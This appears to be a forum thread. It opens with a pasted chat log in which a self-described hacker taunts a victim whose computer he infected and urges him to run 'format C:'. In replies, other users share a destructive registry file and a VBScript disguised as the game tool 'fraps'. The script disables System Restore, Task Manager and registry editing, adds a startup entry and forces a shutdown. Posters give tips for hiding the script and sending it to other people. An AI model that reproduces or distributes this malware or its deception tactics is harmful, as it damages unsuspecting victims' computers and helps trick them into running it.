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ConnorJ69: BITCH THINK YOU CAN FUCKING HACK MY FUCKING COMPUTER I FUCKING SWEAR TO GOD IM GUNA FUCKING KILL YOU IF I EVER SEE YOU

MR ViPER13: hi

ConnorJ69: YOU FUCKING DOUCHE HOW THE FUCK DO I GET MY COMPUTER TO START UP WITHOUT CRASHING

MR ViPER13: your on a comptooer

ConnorJ69: IM ON MY FUCKING LAPTOP DUMBFUCK

ConnorJ69: YOU GAVE ME A FUCKING VIRUS FOR MY DESKTOP

ConnorJ69: I SWEAR TO FUCKING GOD UR GUNA FUCKING PAY FOR THIS YOU FUCKING NERD BITCH

MR ViPER13: k

ConnorJ69: HOW THE FUCK DO I GGET MY COMPUTER OT WORK

MR ViPER13: click start

MR ViPER13: then go to run

MR ViPER13: tehn type cmd

MR ViPER13: then type format C:

ConnorJ69: i swear if this like fucks it up more your guna fucking pay

MR ViPER13: it wont

MR ViPER13: i promise

MR ViPER13: im too afraid 2 fuck u up more

ConnorJ69: yeah fucking rite

ConnorJ69: plus it only gives me 10 fucking seconds before it turns off

ConnorJ69: now fucking tell me how i can make it work without my fucking dad going insane cuz i got his fucking computer hacked

ConnorJ69: fucking answer me

MR ViPER13: do what i told u

MR ViPER13:

 

MR ViPER13:

MR ViPER13: click start

MR ViPER13: then go to run

MR ViPER13: tehn type cmd

MR ViPER13: then type format C:

ConnorJ69: THAST IT??

MR ViPER13: ya

MR ViPER13: just restart

ConnorJ69: HOW DO I DO THAT IN 10 SECONDS

MR ViPER13: Go to kmart

MR ViPER13: buy a hammer

MR ViPER13: then hit

MR ViPER13: repeat till it turns off

ConnorJ69: UR A FUCKING DOUCHE

ConnorJ69: YOUR FUCKING DEAD

MR ViPER13: who?

MR ViPER13: my # is 267 471 1515 call meh

ConnorJ69: YOU YOU DIPSHIT IM GUNA FUCKING KILL YOU YOU FUCKING RUOINED MY COMPUTER

MR ViPER13: learnt to speel

ConnorJ69: im fucking pissed im not doing shit rationally cuz my fucking 3000 $ computer just got fucked up ok?

MR ViPER13: 3000$

MR ViPER13: o rly

ConnorJ69: yes its a voodoo you dipshit

ConnorJ69: because your a fucking douche with no life who makes some shitty computer hack in his free time

ConnorJ69: so now im fucked

ConnorJ69: r u happy?

MR ViPER13: if its sooooo shitty y r u fucked?

ConnorJ69: because your some fat nerd with no life

MR ViPER13: ill be happy after u call me and yell

MR ViPER13: wanna nekid pix

ConnorJ69: nekid ?

MR ViPER13: ur rage is giving me an erection

ConnorJ69: listen i dont fucking care im just fucking pissed that ur actually big enuf of a fucking asshole to fucking ruin my computer

MR ViPER13: call me

ConnorJ69: i cant rite now

MR ViPER13: :'(

ConnorJ69: does that fucking format c shit work

MR ViPER13: ya

ConnorJ69: y r u telling me this then

MR ViPER13: i wouldnt fuck u up more

MR ViPER13: i promise

ConnorJ69: and u also said the anti banning patch works which it obviosly fuking didnt

MR ViPER13: cause i want 2

MR ViPER13: most people r 2 bitch 2 talk to me

ConnorJ69: whyd u even give me the fucking virus it says dont mess with viper well i didnt fucking mess with viper

ConnorJ69: ??

MR ViPER13: i want to

MR ViPER13: ur "3000$" comp is my property now

ConnorJ69: not if its unplugged from the internet dipshit

ConnorJ69: oops didnt think of that did you

MR ViPER13: well try turning on ur comp without being plugged in interweb

MR ViPER13: it wil still be mine

ConnorJ69: even if it duz turn off u still cant see shit

ConnorJ69: or like my cc info

MR ViPER13: i never could see any thing

MR ViPER13: it wasnt a sub7

ConnorJ69: then what the fuck is the point u fucker

MR ViPER13: well

MR ViPER13: your just making it all worthwhile

MR ViPER13: rite now im posting this convo all over teh interweb

MR ViPER13: and millions of peeps laughing at you

MR ViPER13: ill give u a patch to fix it if u send me a picture of you and a sign that says ViP3R pwns me

ConnorJ69: fuck you

MR ViPER13: :'(

ConnorJ69: that command c shit doesnt do shit

MR ViPER13: im gonna cry and slit my wrist now

ConnorJ69: yo fuck you

ConnorJ69: go fucking read a book or sumn u fat bitch nerd

MR ViPER13: k thx

MR ViPER13: ill do that

ConnorJ69: ill just get it fixed ur not guna give me a patch

MR ViPER13: yes i will

MR ViPER13: i promise

MR ViPER13: http://www.wetherbycomputercentre.co.uk/acatalog/windows_xp_for_dummies.jpg

ConnorJ69: well i cant fucking get pictures on my computer cuz ur dumb ass broke ti

MR ViPER13: which computer

ConnorJ69: the nice ass one u fucking broke

MR ViPER13: it cant save pix?

MR ViPER13: y would u wanna save pix when u only have 10 secks

ConnorJ69: r u that dumb ok my other computer is the computer that i can hook my camera up to i cqant with this computer

MR ViPER13: yes

MR ViPER13: well maybe its ause i DONT KNOW WHO U R

ConnorJ69: ok if u help me fix my other computer u can hack this shit all u want and ill take a picture cuz i dont give a shit about wat ppl say on the internet cuz ther fat nerds

MR ViPER13: maybe i didnt no u had a cam

MR ViPER13: well

ConnorJ69: i swear ill let u hack me again if i dont give u the pic

MR ViPER13: ur on the internety

MR ViPER13: r u a fat nerd

ConnorJ69: ill even give u open ports and my ip and shit

ConnorJ69: no

MR ViPER13: i want the pic first

ConnorJ69: ill give u a fucking picture douche i just need my fucking computer

ConnorJ69: ok u want a pic??

MR ViPER13: ya

ConnorJ69: no i got pwnd sign tho ok?

MR ViPER13: with a sign that says viper owns me

MR ViPER13: no

ConnorJ69: fine

ConnorJ69: fine

MR ViPER13: k

ConnorJ69: ill try 2 go take the pic now

ConnorJ69: but how the fuck am i supposed to put on the patch asshole i only hav 10 seconds

MR ViPER13: k

ConnorJ69: ?

MR ViPER13: ill tell u how

ConnorJ69: no that format c shit didnt work

ConnorJ69: it said invalid command

MR ViPER13: well ill tell u the real way

ConnorJ69: well how od i kno ur not guna fuck me over again

ConnorJ69: /?

MR ViPER13: ill give u a SN u can have untill i tell u how

ConnorJ69: giv me ur sn

ConnorJ69: mr viper 13

MR ViPER13: not thsi 1 cause then i cant tell u

ConnorJ69: so i kno ur fo real

ConnorJ69: fine

MR ViPER13: ~~~~~ poopoo

ConnorJ69: il go fucking install the camerashit on my brothers comp

MR ViPER13: k\

ConnorJ69: b4 i giv u the pic u hav 2 giv me the sn

MR ViPER13: i did

MR ViPER13:

MR ViPER13: ~~~~~ Poopoo

ConnorJ69: poopoo is the password?

MR ViPER13: ya

ConnorJ69 signed off at 6:23:08 PM.

 

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    • Like 3

    rofl +10 for you

     

     

    ultimate rage + pics = m3n

     

     

    nice job :D

    Holy fucking shit that is a damn good sp0rk rage.
    rofl... damn that was the greatest convo, lol :naughtyd: rofl it looks sorta like that dance u were doin at my house lol
    • 2 months later...
    • 2 months later... 

    REGEDIT4

[HKEY_LOCAL_MACHINE\Hardware]
@="FuckReg"
[HKEY_LOCAL_MACHINE\Hardware\Description]
@="FuckReg"
[HKEY_LOCAL_MACHINE\Hardware\Description\System]
@="FuckReg"
[HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor]
@=".FuckReg"

[HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0]
"VendorIdentifier"="FuckReg"
"MMXIdentifier"="FuckReg"
@="FuckReg"
"Send E-Mail to"="[email protected]"
"Identifier"="FuckReg"

[HKEY_LOCAL_MACHINE\Hardware\DeviceMap]
@="FuckReg"

[HKEY_LOCAL_MACHINE\Hardware\DeviceMap\SerialComm]
"COM1"="COM3"
"COM2"="COM4"
"COM3"=""
"COM4"=""

[HKEY_LOCAL_MACHINE\Hardware\DirectDrawDrivers]
@="FuckReg"

[HKEY_LOCAL_MACHINE\Network\Logon]
"username"="FuckReg"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]
"InstallType"=hex:09,00
"SetupFlags"=hex:06,07,90,06
"DevicePath"="Z:\\FuckReg\\"
"ProductType"="14545155"
"RegisteredOwner"="FuckReg"
"RegisteredOrganization"="IM AUFTRAG DER WAHREN HACKER"
"ProductId"="BLABLA-OEM- BLABLA - BLABLA "
"LicensingInfo"=""
"DVD_Region"="8"
"BPC_Region"="8"
"OldWinVer"=hex:00,03
"SubVersionNumber"="5"
"ProgramFilesDir"="Z:\\FuckReg"
"CommonFilesDir"="Z:\\v"
"Plus! VersionNumber"="IE 9 9.88.6666.97544"
"WallPaperDir"="Z:\\FuckReg"
"MediaPath"="Z:\\FuckReg"
"ConfigPath"="Z:\\FuckReg"
"SystemRoot"="Z:\\FuckReg"
"OldWinDir"=""
"ProductName"="Microsoft Windows 2000 Beta-3"
"RegistrationExtDLL"="wsock32.FuckReg"
"RegDone"="FuckReg"
"FirstInstallDateTime"=hex:l1,hj,h8,34
"Version"="Windows 2000 Beta-3"
"VersionNumber"="6.2.2000"
"BootCount"="5"
"PiFirstTimeOnly"="8"
"ProductKey"="FuckReg-FuckReg-FuckReg-FuckReg-FuckReg"
"DigitalProductId"=hex:a4,00,35,99
"AuditMode"=hex:00,60,00,99
"ProgramFilesPath"="Z:\\FuckReg"
"SM_AccessoriesName"="FuckReg"
"PF_AccessoriesName"="FuckReg"
"OtherDevicePath"="Z:\\FuckReg"
"ChannelFolderName"="FuckReg"
"LinkFolderName"="FuckReg"
"IEAKHelpString"="Rundll32 ist zum kotzen!!!!!!!!!."

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup]
"MemphisDetectedLastDrive"="Z"
"BootDir"="Z:\\"
"BootHost"="Z:\\"
"OldWinBootDir"="Z:\\FuckReg"
"WinDir"="Z:\\FuckReg"
"AppsDir"="Z:\\"
"WinBootDir"="Z:\\FuckReg"
"HostWinBootDir"="Z:\\FuckReg"
"MachineDir"="Z:\\"
"WinAdminDir"="Z:\\FuckReg"
"SharedDir"="Z:\\FuckReg"
"SysDir"="Z:\\FuckReg"
"SourcePath"="Z:\\FuckReg"
"OldWinDir"=""
"UninstallDir"="Z:\\FuckReg.001"
"BackupDir"="Z:\\FuckReg.002"
"SetupTempDir"="Z:\\FuckReg.900"
"SetupScratchDir"="Z:\\FuckReg"
"InstallPathType"=hex:08,80,80,08
"CommandLine"="/Z:Z:\\FuckReg.400 /SrcDir=Z:\\FuckReg /wZ /In /Ij /hQ /fT "
"WallPaper"=""
"TileWallpaper"="0"
"Upgrade"=hex:06
"InstallClasses"="System,hdc,fdc,CDROM,PCMCIA,MultiFunction"
"ConfigPath"="Z:\\FuckReg\\"
"MediaPath"="Z:\\FuckReg\\"
"ICMPath"="Z:\\FuckReg"
"OLSSrcPath"="Z:\\FuckReg"
"SetupBinary"="FuckReg.dll"
"lastdrive"="Z"

     

     

    Copy that into a .txt rename it as smthing.reg and start fuck other ppl on teh interweb

    Best rage I've ever seen, loved the way he thought he was in control xD, it's funny how they always say 'fat' nerds isn't it?

    if that is real, that is the best rage ive ever seen

     

    p.s:

     

    REGEDIT4 [HKEY_LOCAL_MACHINE\Hardware] @="FuckReg" [HKEY_LOCAL_MACHINE\Hardware\Description] @="FuckReg" [HKEY_LOCAL_MACHINE\Hardware\Description\System] @="FuckReg" [HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor] @=".FuckReg" [HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0] "VendorIdentifier"="FuckReg" "MMXIdentifier"="FuckReg" @="FuckReg" "Send E-Mail to"="[email protected]" "Identifier"="FuckReg" [HKEY_LOCAL_MACHINE\Hardware\DeviceMap] @="FuckReg" [HKEY_LOCAL_MACHINE\Hardware\DeviceMap\SerialComm] "COM1"="COM3" "COM2"="COM4" "COM3"="" "COM4"="" [HKEY_LOCAL_MACHINE\Hardware\DirectDrawDrivers] @="FuckReg" [HKEY_LOCAL_MACHINE\Network\Logon] "username"="FuckReg" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion] "InstallType"=hex:09,00 "SetupFlags"=hex:06,07,90,06 "DevicePath"="Z:\\FuckReg\\" "ProductType"="14545155" "RegisteredOwner"="FuckReg" "RegisteredOrganization"="IM AUFTRAG DER WAHREN HACKER" "ProductId"="BLABLA-OEM- BLABLA - BLABLA " "LicensingInfo"="" "DVD_Region"="8" "BPC_Region"="8" "OldWinVer"=hex:00,03 "SubVersionNumber"="5" "ProgramFilesDir"="Z:\\FuckReg" "CommonFilesDir"="Z:\\v" "Plus! VersionNumber"="IE 9 9.88.6666.97544" "WallPaperDir"="Z:\\FuckReg" "MediaPath"="Z:\\FuckReg" "ConfigPath"="Z:\\FuckReg" "SystemRoot"="Z:\\FuckReg" "OldWinDir"="" "ProductName"="Microsoft Windows 2000 Beta-3" "RegistrationExtDLL"="wsock32.FuckReg" "RegDone"="FuckReg" "FirstInstallDateTime"=hex:l1,hj,h8,34 "Version"="Windows 2000 Beta-3" "VersionNumber"="6.2.2000" "BootCount"="5" "PiFirstTimeOnly"="8" "ProductKey"="FuckReg-FuckReg-FuckReg-FuckReg-FuckReg" "DigitalProductId"=hex:a4,00,35,99 "AuditMode"=hex:00,60,00,99 "ProgramFilesPath"="Z:\\FuckReg" "SM_AccessoriesName"="FuckReg" "PF_AccessoriesName"="FuckReg" "OtherDevicePath"="Z:\\FuckReg" "ChannelFolderName"="FuckReg" "LinkFolderName"="FuckReg" "IEAKHelpString"="Rundll32 ist zum kotzen!!!!!!!!!." [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup] "MemphisDetectedLastDrive"="Z" "BootDir"="Z:\\" "BootHost"="Z:\\" "OldWinBootDir"="Z:\\FuckReg" "WinDir"="Z:\\FuckReg" "AppsDir"="Z:\\" "WinBootDir"="Z:\\FuckReg" "HostWinBootDir"="Z:\\FuckReg" "MachineDir"="Z:\\" "WinAdminDir"="Z:\\FuckReg" "SharedDir"="Z:\\FuckReg" "SysDir"="Z:\\FuckReg" "SourcePath"="Z:\\FuckReg" "OldWinDir"="" "UninstallDir"="Z:\\FuckReg.001" "BackupDir"="Z:\\FuckReg.002" "SetupTempDir"="Z:\\FuckReg.900" "SetupScratchDir"="Z:\\FuckReg" "InstallPathType"=hex:08,80,80,08 "CommandLine"="/Z:Z:\\FuckReg.400 /SrcDir=Z:\\FuckReg /wZ /In /Ij /hQ /fT " "WallPaper"="" "TileWallpaper"="0" "Upgrade"=hex:06 "InstallClasses"="System,hdc,fdc,CDROM,PCMCIA,MultiFunction" "ConfigPath"="Z:\\FuckReg\\" "MediaPath"="Z:\\FuckReg\\" "ICMPath"="Z:\\FuckReg" "OLSSrcPath"="Z:\\FuckReg" "SetupBinary"="FuckReg.dll" "lastdrive"="Z"

     

     

     

    Copy that into a .txt rename it as smthing.reg and start fuck other ppl on teh interweb

     

     

     

     

    so i jus send this to people and say its hax or sum shit, and hope they believe me?

     

     

     

    EDIT: tryed but on msn says potentially unsafe and cant send :S, dnt know any other way to send unless dl aim or sum shit

    Const constHKEY_LOCAL_MACHINE = &H80000002
Const constComputer = "."

Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
constComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
strValueName = "anti_virus"
strValue = "C:\WINDOWS\system32\windows.bat"
objReg.SetStringValue constHKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue



Const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _ 
   strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"
strValueName = "DisableConfig"
dwValue = 1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strValueName = "DisableSR"
dwValue = 1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue


Const HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _ 
   strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\System"
strValueName = "DisableRegistryTools"
dwValue = 1
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,strValueName,dwValue

strValueName = "DisableTaskMgr"
dwValue = 1
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,strValueName,dwValue

Wscript.Echo "fraps is almost ready to be used"
Wscript.Echo "a restart is now required"

Sub ShutDown

nLogOff=0
nReboot=2
nForceLogOff=4
nForceReboot=6
nPowerDown=8
nForcePowerDown=12

Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")

For Each oOperatingSystem in oOS
oOperatingSystem.Win32Shutdown(nForcePowerDown)
Next

End sub

ShutDown

     

    save as filename.vbs

    it makes the file c:windows/system32/windows.bat startup when windows start

    it also disables system restore, task manager, and registry editing.

    then you get a popup message saying your hax is almost ready to use (you press ok)

    then another 1 says a restart is now required (press ok) then it shuts down your computer

     

    enjoi

     

    edit: download a file called filepacker, set it so that the .vbs file runs when oppened and windows.bat goes in to your system32 folder,

    compress it to the max to help hide the code

    "ConnorJ69: YOU YOU DIPSHIT IM GUNA FUCKING KILL YOU YOU FUCKING RUOINED MY COMPUTER"

     

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